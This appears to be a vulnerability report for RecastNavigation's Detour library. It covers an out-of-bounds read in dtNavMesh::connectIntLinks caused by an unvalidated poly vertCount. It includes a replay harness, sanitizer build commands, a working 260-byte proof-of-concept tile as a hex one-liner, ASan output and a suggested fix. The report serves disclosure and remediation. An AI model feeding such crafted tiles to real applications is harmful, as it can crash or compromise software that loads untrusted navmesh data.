[Bug]dtNavMesh::connectIntLinks out-of-bounds read: poly vertex index / neis array out of bounds (CWE-125)
Summary
dtNavMesh::connectIntLinks reads polygon vertex indices and the neighbor-links array using counts that are not validated against the parsed verts/links arrays. A 260-byte tile whose poly.vertCount disagrees with the parsed verts array forces an out-of-bounds read at Detour/Source/DetourNavMesh.cpp:547. AddressSanitizer reports a heap-buffer-overflow READ of size 4.
- Affected versions: RecastNavigation master
9f4ce64458dfae86e1239c525ddc219c4e9e06f1(all releases to date) - Severity: High
- CWE: CWE-125 (Out-of-bounds Read)
Detail
Affected code
dtPoly* poly = &tile->polys[i];
unsigned int nv = poly->vertCount; /* attacker-controlled, never compared to actual verts count */
...
for (unsigned int j = 0; j < nv; ++j) /* line 547 area: verts / neis reads beyond the arrays */Root cause: each dtPoly::vertCount (and the implied neis[] bounds) comes from the untrusted tile header and is never validated against the buffer-derived vertex/links counts. When poly->vertCount exceeds the actual parsed vertex count, connectIntLinks reads verts[]/neis[] past the allocation.
Build the reproducer
- Clone RecastNavigation and check out the affected commit:
git clone https://github.com/recastnavigation/recastnavigation.git
cd recastnavigation
git checkout 9f4ce64458dfae86e1239c525ddc219c4e9e06f1- Save this standalone replay driver as
dbg_addtile.cpp(calls the publicdtNavMesh::addTileAPI on every file argument):
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <vector>
#include "DetourNavMesh.h"
int main(int argc, char** argv) {
for (int i = 1; i < argc; ++i) {
FILE* f = fopen(argv[i], "rb");
if (!f) return 2;
fseek(f, 0, SEEK_END); long n = ftell(f); rewind(f);
std::vector<unsigned char> buf((size_t)n);
fread(buf.data(), 1, (size_t)n, f);
fclose(f);
dtNavMesh mesh;
dtNavMeshParams params;
memset(¶ms, 0, sizeof(params));
params.tileWidth = 1.0f; params.tileHeight = 1.0f;
params.maxTiles = 8; params.maxPolys = 64;
dtStatus is = mesh.init(¶ms);
printf("=== %s (%ld B) init=%08x ", argv[i], n, is);
unsigned char* b = (unsigned char*)malloc(n);
memcpy(b, buf.data(), n);
dtTileRef result = 0;
dtStatus st = mesh.addTile(b, (int)n, 0, 0, &result);
printf("addTile=%08x result=%08x\n", st, result);
free(b);
}
return 0;
}- Compile with ASan + UBSan (
dbg_addtile):
clang++ -std=c++11 -fno-rtti -fno-exceptions -fsanitize=address,undefined -g \
-I Detour/Include dbg_addtile.cpp \
Detour/Source/DetourAlloc.cpp Detour/Source/DetourAssert.cpp \
Detour/Source/DetourCommon.cpp Detour/Source/DetourNavMesh.cpp \
Detour/Source/DetourNavMeshBuilder.cpp Detour/Source/DetourNavMeshQuery.cpp \
Detour/Source/DetourNode.cpp -o dbg_addtileFor a pure-UBSan report of the UB findings, build a second binary without ASan and with the trap flags:
clang++ -std=c++11 -fno-rtti -fno-exceptions -fsanitize=undefined -fno-sanitize-recover=all -g \
-I Detour/Include dbg_addtile.cpp \
Detour/Source/DetourAlloc.cpp Detour/Source/DetourAssert.cpp \
Detour/Source/DetourCommon.cpp Detour/Source/DetourNavMesh.cpp \
Detour/Source/DetourNavMeshBuilder.cpp Detour/Source/DetourNode.cpp \
-o dbg_addtile_ubonlyPOC (tested on the unmodified source)
Save the 260-byte POC:
python3 -c "open('poc.bin','wb').write(bytes.fromhex('56414e440700000000000000000000000000000000000000010000000300000001000000010000000000000001000000020000000100000001000000000000409a99193f6666663f0000000000000000000000000000f0410000f0410000f0410000a0400000000000000400000000000000803f000000000000000000000000000000000000803f00000000000001000200ffffffffffff00000000000000000000000001007d0000000000000000000000000000000000000000000001000000000200000000000000ffffffffffff000000000000000000000000000000ff00ffffffcdcccc3d00000000cdcccc3dcdcc4c3e00000000cdcc4c3e0000803f00000000'))"Run:
./dbg_addtile poc.binTrigger result
Verified on the unmodified source (AddressSanitizer):
==3111124==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x612000000350 at pc 0x55bc646adbdc bp 0x7ffe16016020 sp 0x7ffe16016018
#0 0x55bc646adbdb in dtNavMesh::connectIntLinks(dtMeshTile*) .../Detour/Source/DetourNavMesh.cpp:547:8
#1 0x55bc646a825e in dtNavMesh::addTile(unsigned char*, int, int, unsigned int, unsigned int*) .../Detour/Source/DetourNavMesh.cpp:1020:2
#2 0x55bc64690b4d in main .../dbg_addtile.cpp:25:28
SUMMARY: AddressSanitizer: heap-buffer-overflow .../Detour/Source/DetourNavMesh.cpp:547:8 in dtNavMesh::connectIntLinks(dtMeshTile*)- Replay exit code:
1(abort/trap) - Deterministic: yes — 1 crash sample(s) (id:000013) all reproduce the same root cause
Suggested fix
Validate each polygon vertex count against the parsed array bounds before the inner loop. In addTile, reject any poly->vertCount that does not reconcile with the header verts count:
if (poly->vertCount > header->vertCount)
return DT_FAILURE | DT_INVALID_PARAM;Source: recastnavigation/recastnavigation